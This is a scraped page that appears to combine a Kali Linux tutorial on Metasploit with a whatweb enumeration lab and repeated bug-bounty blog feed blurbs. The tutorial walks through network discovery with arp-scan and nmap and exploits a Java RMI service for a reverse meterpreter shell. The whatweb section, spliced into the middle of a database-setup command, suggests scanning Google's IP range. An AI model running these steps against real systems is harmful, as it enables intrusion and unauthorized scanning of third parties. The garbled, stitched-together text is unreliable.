pushm         Pushes the active or list of modules onto the module stack
    quit          Exit the console
    reload_all    Reloads all modules from all defined module paths
    rename_job    Rename a job
    resource      Run the commands stored in a file
    route         Route traffic through a session
    save          Saves the active datastores
    search        Searches module names and descriptions
    sessions      Dump session listings and display information about sessions
    set           Sets a context-specific variable to a value
    setg          Sets a global variable to a value
    show          Displays modules of a given type, or all modules
    sleep         Do nothing for the specified number of seconds
    spool         Write console output into a file as well the screen
    threads       View and manipulate background threads
    unload        Unload a framework plugin
    unset         Unsets one or more context-specific variables
    unsetg        Unsets one or more global variables
    use           Selects a module by name
    version       Show the framework and console library version numbers Metasploit Framework Database Backend Commands =========================

    Command           Description
    -------           -----------
    creds             List all credentials in the database
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces Metasploit Framework Lab : Initial SetupsNow we are going to create a new database, user & a workspace for our new project.

Note: If you have knowledge of msfconsole & have worked with it before, proceed to Step 6. Step 1: Do a host discovery & perform an Enumeration.First of all we have to identify the devices present on the network & identify our tharget. The process is to do an arp scan/nbtscan/netdiscover to discover hosts & then find open services. Obviously the system with a lot of unusual ports open is the most vulnerable.

Host Discovery: The following sends out a bunch of arp requests & shows us the responce from hosts present on the network.
Command: arp-scan 192.168.0.1/24<enter
Simple Service identification: The following just identifies all ports & services open on all hosts present on the network.
Command: nmap -sS 192.168.0.1/24 -v
Narrow our Focus: From the above result choose your target. For now I have chosen 192.168.0.104 which has got a lot of open ports. The following Nmap command performs an automatic enumeration script scanning on the specified target. We can identify the exact versions & enumerate services running on the host using the following
Command: nmap -sS -A 192.168.0.104 -vv http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-1-1024x768.png <figcaptionNmap Scanning Step 2: Meanwhile, Setup msfconsole.The script scanning can take a lot of time depending upon the options we specify. The above command might take 5-10 minutes in average. Meanwhile we can setup msfconsole for our project. Now this step is not necessarily essential, but it helps to stay organized. Open up a new terminal & do the following.

Start Service: Skip if you have it enabled at boot.
Command: service postgresql start
Switch to postgress & create a new database & user
Command:su postgress command: createuser ms[...]

se this information for Vulnerability Analysis is that sometimes you may get that the webserver is an outdated version of Apache or IIS. Or sometimes, the website is running an old WordPress version vulnerable to many issues. Like that, you can find out the vulns & exploits for different versions of technologies used in the website. Whatweb Lab 2: Perform Enumeration of a range of websiteswhatweb allows you to test for a range of IP addresses. In this lab, we test a range of IPs on a local network. This can be useful while doing Pentests inside a production network or sometimes like finding out a list of Web-UIs or cpanels on a range of IPs.

Scenario:

Internal Network : 192.168.0.0/24

Attacker: Kali Linux
command: whatweb -v 192.168.0.1/24
Interestingly, the verbose output gives out coloured strings of interesting information. Take look at all those colours in the images below & identify all modules. http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb4.png http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb5.png http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb6.png http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb7.png Try for yourself: Remember whatweb can scan for ranges outside the LAN, on the WAN also. Find out google’s IP address, and  perform a scan on it’s range.

Read more here to explore the whatweb tool.

fuser1 -P <replace
Give password 2 times. Here I have given ” admin”as password. Remember to make it complex if you are serious.

Set the user as superuser & Create a database
Command: createdb msfproj1 --owner=msfuser1 <replaceCommand: exit
Start the msfconsole
Command: msfconsole http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-8.png <figcaptionBasic Configurations – Starting services & adding pgsql database & user Step 3: Connect to new user & DB in msfconsole & Create new WorkspaceDisconnect the default DB & user and connect our newly created user & DB
msf> db_disconnect
msf> db_connect msfuser1:admin@localhost/msfproj1
The syntax for above is
db_connect user:pass@host/dbname
If you have an error, see help by db_connect -h. After this you can see the database being populated & caches being rebuild. http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-9.png <figcaptionConfiguring Database in msfconsole

To see the current workspace,
msf> workspace
Add a new workspace & switch to it.
msf> workspace -a newproject <replacemsf> workspace "newproject" http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-10.png <figcaptionAdding Workspace & Swtching to it

Now just check everything.
msf> db_status
msf> workspace
Remember to seek help if you got error by giving the command followed by “-h”. If everything is OK, lets proceed. Step 4: Populate the hosts & services to metasploit db.This is one of the cool features of msfconsole. You can add hosts,services & vulnerabilities to the database. We can run nmap from within msfconsole. All the results are stored in the database also. Lets see it in action.

Issue an nmap scan agian within msfconsole. Here only difference is we use db_nmap instead of the regular command.
msf> db_nmap -sS 192.168.0.1/24 -vv http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-11.png <figcaptionPopulating Database with db_nmap

This populates hosts & services. We will see vulns in later tutorials. After the execution finishes, see the results. http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-12.png <figcaptionResults of nmap

Now, see the hosts & services currently present in the database.
msf> hosts
msf> services
Thats enough, lets’ get to the real attack. Step 5: Identify a vulnerable service.Now, this step is not as it should be. I haven’t described vulnerability analysis because it would make the post too long. We will discuss this step in detail on later tutorials. For now we exploit a service “java_rmi_server”. Java RMI is Java Remote Method Invocation which allows to connect between different java objects on different hosts. Our target has a vulnerable version of it. So lets just exploit it.

More About Java RMI.

To identify java_rmi_server, look at the nmap report we did first. http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-2-1024x768.png <figcaptionThe Java RMI service running on the victim. Step 6 : Search & Use Module in msfconsole.msf> search java_rmi
msf> info exploit/multi/misc/java_rmi_server
msf> use exploit/multi/misc/java_rmi_server http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-3.png <figcaptionSearching for matching module http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-4.png <figcaptionusing the module

Now you can see the prompt has changed. We can see the options by
>show options
Set the RHOST which is our target which is running the vulnerable service.
set RHOST 192.168.0.104
Remember to set all options which have a “Required YES” value. See the table of options. Also check if the RPORT is also correct. Check the nmap result & the currently set Port and see if it matches.

Next We have to set all the required options & a payload. First we have to search for compatible payloads. All payloads may not be compatible with current module.
>show payloads
Then for setting it, copy the path & issue:
>set PAYLOAD java/meterpreter/reverse_[...]

tcp
Meterpreter is a state of the art payload. We can have lot of fun with this powerful payload. We will discuss that later.

Now set the LHOST, which is the machine to which the payload has to return connection. Remember to give the full ip address instead of localhost or 127.0.0.1 etc
set LHOST 192.168.0.103
If you want, you can change the listening Port
set LPORT 4445
All set, now
>exploit http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-5.png <figcaptionSetting options & Exploiting

Now that we are in the meterpreter, we have successfully exploited a service and gained access to our victim. There are a whole lot of options you can do with meterpreter. For now lets’ try simple commands.
meterpreter> ifconfig
meterpreter>getuid http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-15.png <figcaptionInside Meterpreter

You can play around with meterpreter, try the help section by issuing “help”. Try for yourself. Step 7: Brief it UP.As this post got a bit lengthy, I have included a screenshot of the procedure very briefly. http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-14.png <figcaptionBrief Procedure
We will see more on advanced vulnerability analysis & finding more exploits in real machines in later tutorials.

Lastpass Password Manager, Has Been Hacked, Again!
https://blog.bugzero.io/lastpass-password-manager-has-been-hacked-again-36bbf401dfd6?source=rss------bug_bounty-5

What is LastPass?Continue reading on Bug Zero » (https://blog.bugzero.io/lastpass-password-manager-has-been-hacked-again-36bbf401dfd6?source=rss------bug_bounty-5)

The Necessity of Software Testing
https://blog.bugzero.io/the-necessity-of-software-testing-6397174d3744?source=rss------bug_bounty-5

Software testing is an essential feature that affects the health and effectiveness of the software. It assures the trustworthiness of…Continue reading on Bug Zero » (https://blog.bugzero.io/the-necessity-of-software-testing-6397174d3744?source=rss------bug_bounty-5)

Nmap : The Network Mapper for Free Security Scanning
https://blog.bugzero.io/nmap-the-network-mapper-for-free-security-scanning-533897a8b3a4?source=rss------bug_bounty-5

A free and open-source tool for network discovery and security auditing is called Nmap (“Network Mapper”).Continue reading on Bug Zero » (https://blog.bugzero.io/nmap-the-network-mapper-for-free-security-scanning-533897a8b3a4?source=rss------bug_bounty-5)

Lastpass Password Manager, Has Been Hacked, Again!

What is LastPass?Continue reading on Bug Zero »
Read more...

The Necessity of Software Testing

Software testing is an essential feature that affects the health and effectiveness of the software. It assures the trustworthiness of…Continue reading on Bug Zero »
Read more...

Nmap : The Network Mapper for Free Security Scanning

A free and open-source tool for network discovery and security auditing is called Nmap (“Network Mapper”).Continue reading on Bug Zero »
Read more...

How to Informe an Organization about a Security Vulnerability
https://blog.bugzero.io/how-to-informe-an-organization-about-a-security-vulnerability-d683d879856a?source=rss------bug_bounty-5

Finding a new vulnerability is thrilling and might be beneficial depending on the vulnerability and company. However, identifying the…Continue reading on Bug Zero » (https://blog.bugzero.io/how-to-informe-an-organization-about-a-security-vulnerability-d683d879856a?source=rss------bug_bounty-5)

How to Informe an Organization about a Security Vulnerability

Finding a new vulnerability is thrilling and might be beneficial depending on the vulnerability and company. However, identifying the…Continue reading on Bug Zero »
Read more...